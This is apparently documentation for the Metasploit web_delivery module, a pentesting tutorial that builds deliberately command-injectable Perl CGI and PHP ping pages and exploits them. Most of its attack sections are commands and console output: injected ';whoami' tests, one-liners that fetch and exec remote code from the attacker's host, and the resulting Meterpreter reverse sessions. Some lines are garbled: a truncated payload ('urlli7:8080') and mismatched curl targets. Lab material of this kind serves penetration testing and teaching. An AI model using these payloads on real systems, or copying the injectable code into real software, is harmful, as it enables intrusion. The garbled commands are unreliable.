288 lines
13 KiB
Markdown
288 lines
13 KiB
Markdown
As a web server, the web_delivery module provides a stealthy way to deliver a payload during post exploitation because the payload does not touch the disk.
|
|
|
|
Currently, web_delivery supports three different languages for delivery: Python, PHP, and
|
|
Powershell. You should be able to tell which one you can use based on the target environment
|
|
you are in.
|
|
|
|
For example, if you gained access through a PHP application, it's safe to assume you can use PHP. If you're in a Windows server, such as Windows Server 2008, then it's probably safe to say the target supports Powershell.
|
|
|
|
## Verification Steps
|
|
|
|
To be able to use the web_delivery module, you must gain access to the target machine first, with the ability to execute either the Python, or PHP, or Powershell interpreter.
|
|
|
|
At that point, you would use the web_delivery module like in the following example:
|
|
|
|
1. Start msfconsole
|
|
2. Run: ```use exploit/multi/script/web_delivery```
|
|
3. Run: ```set target 1``` (1 is PHP. You can use ```show targets``` to see other options)
|
|
4. Run: ```set PAYLOAD php/meterpreter/reverse_tcp``` (You can do ```show payloads``` to see what options are suitable for the target)
|
|
5. Run: ```set LHOST IP``` (The IP the payload should connect back to)
|
|
6. Do: ```run```
|
|
7. At this point, a handler is up for that payload, and the module should instruct you to execute a command.
|
|
8. Copy the command. Depending on your pentesting scenario, you can either inject the
|
|
command and get code execution, or run it from the target's shell and get a session:
|
|
|
|
```
|
|
msf exploit(web_delivery) > run
|
|
[*] Exploit running as background job.
|
|
|
|
[*] Started reverse TCP handler on 172.16.23.1:4444
|
|
msf exploit(web_delivery) > [*] Using URL: http://0.0.0.0:8080/z5inGkwCCQiz9
|
|
[*] Local IP: http://10.6.0.86:8080/z5inGkwCCQiz9
|
|
[*] Server started.
|
|
[*] Run the following command on the target machine:
|
|
php -d allow_url_fopen=true -r "eval(file_get_contents('http://172.16.23.1:8080/z5inGkwCCQiz9'));"
|
|
[*] Delivering Payload
|
|
[*] Sending stage (33684 bytes) to 172.16.23.134
|
|
[*] Meterpreter session 1 opened (172.16.23.1:4444 -> 172.16.23.134:41684) at 2016-03-02 11:41:34 -0600
|
|
```
|
|
|
|
## Targets
|
|
|
|
**Python**
|
|
|
|
Python is a fairly popular language, especially on Unix-based systems. By default, it has come with Ubuntu Linux since 8.04, as well as Debian, and Mac OS X since 10.3.
|
|
|
|
**PHP**
|
|
|
|
PHP is a fairly popular language for web servers, especially Apache.
|
|
|
|
**Powershell/Windows**
|
|
|
|
Powershell is a popular language for newer Windows systems. Windows 7 and Windows Server 2008 R2
|
|
are the first Windows versions to come with Powershell by default. Older Windows systems such as XP
|
|
don't come with it by default, but it is still possible to see it installed on a corporate network.
|
|
|
|
## Scenarios
|
|
|
|
**Against a compromised web application**
|
|
|
|
web_delivery would work nicely for a web application with a command execution vulnerability.
|
|
|
|
One way to approach this would be:
|
|
|
|
1. Start exploit/multi/script/web_delivery
|
|
2. Use [Burp Suite](https://portswigger.net/burp/) to intercept the HTTP/HTTPS request, place the command in the parameter that results in arbitrary code execution.
|
|
3. Hopefully the modified HTTP/HTTPS request is successful, and you should get a session.
|
|
|
|
**Shell upgrade**
|
|
|
|
web_delivery is also useful to upgrade a shell type payload to a Meterpreter one.
|
|
|
|
Here's how that can be done:
|
|
|
|
1. Start `exploit/multi/script/web_delivery` that generates the command to inject.
|
|
2. Interact with the shell, and copy/paste the command.
|
|
3. You should get a Meterpreter session.
|
|
|
|
## Vulnerable Pages
|
|
|
|
### Perl cgi
|
|
|
|
These instructions will create a cgi environment and a vulnerable perl application for exploitation. Kali rolling (2016.2) was utilized for this tutorial.
|
|
|
|
#### Setup
|
|
|
|
In this example we make a `post` form that pings a user provided IP, which is a typical funtion on many routers and is often abused a similar manner.
|
|
|
|
1. Enable cgi: `a2enmod cgid`
|
|
2. `mkdir /var/www/cgi-bin`
|
|
3. Enable folder for cgi execution: add `ScriptAlias "/cgi-bin/" "/var/www/cgi-bin/"` to `/etc/apache2/sites-enabled/000-default.conf ` inside of the `VirtualHost` tags
|
|
4. Create the vulnerable page by writing the following text to `/var/www/cgi-bin/example.pl`:
|
|
|
|
```
|
|
#!/usr/bin/perl
|
|
use CGI qw(:standard);
|
|
$query = new CGI;
|
|
print $query->header( -type=> "text/html"),
|
|
$query->start_html();
|
|
$query->import_names( 'Q' );
|
|
if ( $Q::ip ) {
|
|
print system("ping -c 1 $Q::ip"), "<hr>";
|
|
}
|
|
print $query->start_form( -name=>"ping", -method=>"POST", -enctype=>&CGI::URL_ENCODED),
|
|
$query->p("Enter IP to ping:"),
|
|
$query->textfield(-name=>"ip"), #, -id=>"ip"),
|
|
$query->submit(-name=>"submit"),
|
|
$query->end_form(),
|
|
$query->end_html();
|
|
```
|
|
|
|
5. Make it executable: `chmod +x /var/www/cgi-bin/example.pl`
|
|
|
|
We can verify this page is exploitable by chaining commands so instead of submitting `127.0.0.1` we'll submit `127.0.0.1;whoami`.
|
|
|
|
`curl -X POST http://127.0.0.1/cgi-bin/example.pl --data-urlencode "ip=127.0.0.1;whoami&submit=submit"`
|
|
|
|
```
|
|
<!DOCTYPE html
|
|
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
|
|
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
|
|
<html xmlns="http://www.w3.org/1999/xhtml" lang="en-US" xml:lang="en-US">
|
|
<head>
|
|
<title>Untitled Document</title>
|
|
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
|
|
</head>
|
|
<body>
|
|
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
|
|
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.030 ms
|
|
|
|
--- 127.0.0.1 ping statistics ---
|
|
1 packets transmitted, 1 received, 0% packet loss, time 0ms
|
|
rtt min/avg/max/mdev = 0.030/0.030/0.030/0.000 ms
|
|
www-data
|
|
0<hr><form method="post" action="/cgi-bin/example.pl" enctype="application/x-www-form-urlencoded" name="ping"><p>Enter IP to ping:</p><input type="text" name="ip" value="127.0.0.1;whoami" /><input type="submit" name="submit" value="submit" /></form>
|
|
</body>
|
|
</html>
|
|
```
|
|
|
|
### Exploitation
|
|
|
|
1. `use exploit/multi/script/web_delivery`
|
|
2. `set lhost 192.168.2.117`
|
|
3. `exploit`
|
|
```
|
|
[*] Exploit running as background job.
|
|
|
|
[*] Started reverse TCP handler on 192.168.2.117:4444
|
|
[*] Using URL: http://0.0.0.0:8080/vNPlsjE
|
|
[*] Local IP: http://192.168.2.117:8080/vNPlsjE
|
|
[*] Server started.
|
|
[*] Run the following command on the target machine:
|
|
python -c "import urllib2; r = urllib2.urlopen('http://192.168.2.117:8080/vNPlsjE'); exec(r.read());"
|
|
msf exploit(web_delivery) >
|
|
```
|
|
Now browse to the site, and submit the form with the text `127.0.0.1;python -c "import urllib2; r = urlli7:8080/vNPlsjE'); exec(r.read());"`. If the site seems to freeze, exploitation was most likely successful.
|
|
```
|
|
[*] 192.168.2.117 web_delivery - Delivering Payload
|
|
[*] Sending stage (38500 bytes) to 192.168.2.117
|
|
[*] Meterpreter session 1 opened (192.168.2.117:4444 -> 192.168.2.117:47660) at 2017-03-04 14:52:38 -0500
|
|
```
|
|
|
|
or we can exploit via curl after escaping the double quotes. Note we use `--data-urlencode` to automatically encode for us:
|
|
```
|
|
msf exploit(web_delivery) > exploit
|
|
[*] Exploit running as background job.
|
|
|
|
[*] Started reverse TCP handler on 192.168.2.117:4444
|
|
[*] Using URL: http://0.0.0.0:8080/OKNzr8B59zWp
|
|
[*] Local IP: http://192.168.2.117:8080/OKNzr8B59zWp
|
|
[*] Server started.
|
|
[*] Run the following command on the target machine:
|
|
python -c "import urllib2; r = urllib2.urlopen('http://192.168.2.117:8080/OKNzr8B59zWp'); exec(r.read());"
|
|
msf exploit(web_delivery) > curl -X POST http://127.0.0.1/cgi-bin/example.pl --data-urlencode "ip=127.0.0.1;python -c \"import urllib2; r = urllib2.urlopen('http://192.168.2.117:8080/OKNzr8B59zWp'); exec(r.read());\"&submit=submit"
|
|
[*] exec: curl -X POST http://127.0.0.1/cgi-bin/example.pl --data-urlencode "ip=127.0.0.1;python -c \"import urllib2; r = urllib2.urlopen('http://192.168.2.117:8080/OKNzr8B59zWp'); exec(r.read());\"&submit=submit"
|
|
|
|
% Total % Received % Xferd Average Speed Time Time Time Current
|
|
Dload Upload Total Spent Left Speed
|
|
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
|
|
[*] 192.168.2.117 web_delivery - Delivering Payload
|
|
[*] Sending stage (38500 bytes) to 192.168.2.117
|
|
[*] Meterpreter session 4 opened (192.168.2.117:4444 -> 192.168.2.117:47688) at 2017-03-04 15:02:35 -0500
|
|
100 1172 0 981 100 191 233 45 0:00:04 0:00:04 --:--:-- 233
|
|
100 1172 0 981 100 191 158 30 0:00:06 0:00:06 --:--:-- 0^CInterrupt: use the 'exit' command to quit
|
|
msf exploit(web_delivery) > sessions -l
|
|
|
|
Active sessions
|
|
===============
|
|
|
|
Id Type Information Connection
|
|
-- ---- ----------- ----------
|
|
4 meterpreter python/linux www-data @ k 192.168.2.117:4444 -> 192.168.2.117:47688 (192.168.2.117)
|
|
```
|
|
|
|
### PHP
|
|
|
|
In this example we make a `post` form that pings a user provided IP, which is a typical function on many routers and is often abused in a similar manner.
|
|
|
|
1. Enable cgi: `a2enmod php7.0`
|
|
2. Create the vulnerable page by writing the following text to `/var/www/html/example.php`:
|
|
|
|
```
|
|
<html>
|
|
<body>
|
|
<?php
|
|
if ($_POST["ip"]){
|
|
print( shell_exec('ping -c 1 '.$_POST["ip"]) . "<hr>");
|
|
}
|
|
print("<form method=\"post\"
|
|
action=\"/example.php\"
|
|
enctype=\"application/x-www-form-urlencoded\"
|
|
name=\"ping\">
|
|
<p>Enter IP to ping:</p><input type=\"text\" name=\"ip\" value=\"\" />
|
|
<input type=\"submit\" name=\"submit\" value=\"submit\" /></form>");
|
|
?>
|
|
</body>
|
|
</html>
|
|
```
|
|
|
|
We can verify this page is exploitable by chaining commands so instead of submitting `127.0.0.1` we'll submit `127.0.0.1;whoami`.
|
|
|
|
`curl -X POST http://127.0.0.1/example.php --data-urlencode "ip=127.0.0.1;whoami&submit=submit"`
|
|
|
|
```
|
|
<html>
|
|
<body>
|
|
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
|
|
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.016 ms
|
|
|
|
--- 127.0.0.1 ping statistics ---
|
|
1 packets transmitted, 1 received, 0% packet loss, time 0ms
|
|
rtt min/avg/max/mdev = 0.016/0.016/0.016/0.000 ms
|
|
www-data
|
|
<hr><form method="post"
|
|
action="/example.php"
|
|
enctype="application/x-www-form-urlencoded"
|
|
name="ping">
|
|
<p>Enter IP to ping:</p><input type="text" name="ip" value="" />
|
|
<input type="submit" name="submit" value="submit" /></form> </body>
|
|
</html>
|
|
```
|
|
|
|
### Exploitation
|
|
|
|
1. `use exploit/multi/script/web_delivery`
|
|
2. `set lhost 192.168.2.117`
|
|
3. `set target 1`
|
|
4. `set payload php/meterpreter/reverse_tcp`
|
|
5. `exploit`
|
|
```
|
|
[*] Exploit running as background job.
|
|
|
|
[*] Started reverse TCP handler on 192.168.2.117:4444
|
|
[*] Using URL: http://0.0.0.0:8080/de3uw0
|
|
[*] Local IP: http://192.168.2.117:8080/de3uw0
|
|
[*] Server started.
|
|
[*] Run the following command on the target machine:
|
|
php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.2.117:8080/de3uw0'));"
|
|
msf exploit(web_delivery) >
|
|
```
|
|
Now browse to the site, and submit the form with the text `127.0.0.1;php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.2.117:8080/de3uw0'));"`. If the site seems to freeze, exploitation was most likely successful.
|
|
```
|
|
[*] 192.168.2.117 web_delivery - Delivering Payload
|
|
[*] Sending stage (33986 bytes) to 192.168.2.117
|
|
[*] Meterpreter session 2 opened (192.168.2.117:4444 -> 192.168.2.117:48138) at 2017-03-04 15:36:31 -0500
|
|
```
|
|
|
|
or we can exploit via curl after escaping the double quotes. Note we use `--data-urlencode` to automatically encode for us:
|
|
```
|
|
msf exploit(web_delivery) > exploit
|
|
[*] Exploit running as background job.
|
|
|
|
[*] Started reverse TCP handler on 192.168.2.117:4444
|
|
[*] Using URL: http://0.0.0.0:8080/OKNzr8B59zWp
|
|
[*] Local IP: http://192.168.2.117:8080/OKNzr8B59zWp
|
|
[*] Server started.
|
|
[*] Run the following command on the target machine:
|
|
python -c "import urllib2; r = urllib2.urlopen('http://192.168.2.117:8080/OKNzr8B59zWp'); exec(r.read());"
|
|
msf exploit(web_delivery) > curl -X POST http://127.0.0.1/cgi-bin/example.pl --data-urlencode "ip=127.0.0.1;php -d allow_url_fopen=true -r \"eval(file_get_contents('http://192.168.2.117:8080/de3uw0'));\"&submitsubmit"
|
|
[*] exec: curl -X POST http://127.0.0.1/cgi-bin/example.pl --data-urlencode "ip=127.0.0.1;php -d allow_url_fopen=true -r \"eval(file_get_contents('http://192.168.2.117:8080/de3uw0'));\"&submitsubmit"
|
|
|
|
% Total % Received % Xferd Average Speed Time Time Time Current
|
|
Dload Upload Total Spent Left Speed
|
|
100 490 0 329 100 161 11490 5623 --:--:-- --:--:-- --:--:-- 11344
|
|
[*] 192.168.2.117 web_delivery - Delivering Payload
|
|
[*] Sending stage (33986 bytes) to 192.168.2.117
|
|
[*] Meterpreter session 3 opened (192.168.2.117:4444 -> 192.168.2.117:48144) at 2017-03-04 15:39:05 -0500
|
|
100 1132 0 971 100 161 440 73 0:00:02 0:00:02 --:--:-- 440^CInterrupt: use the 'exit' command to quit
|
|
``` |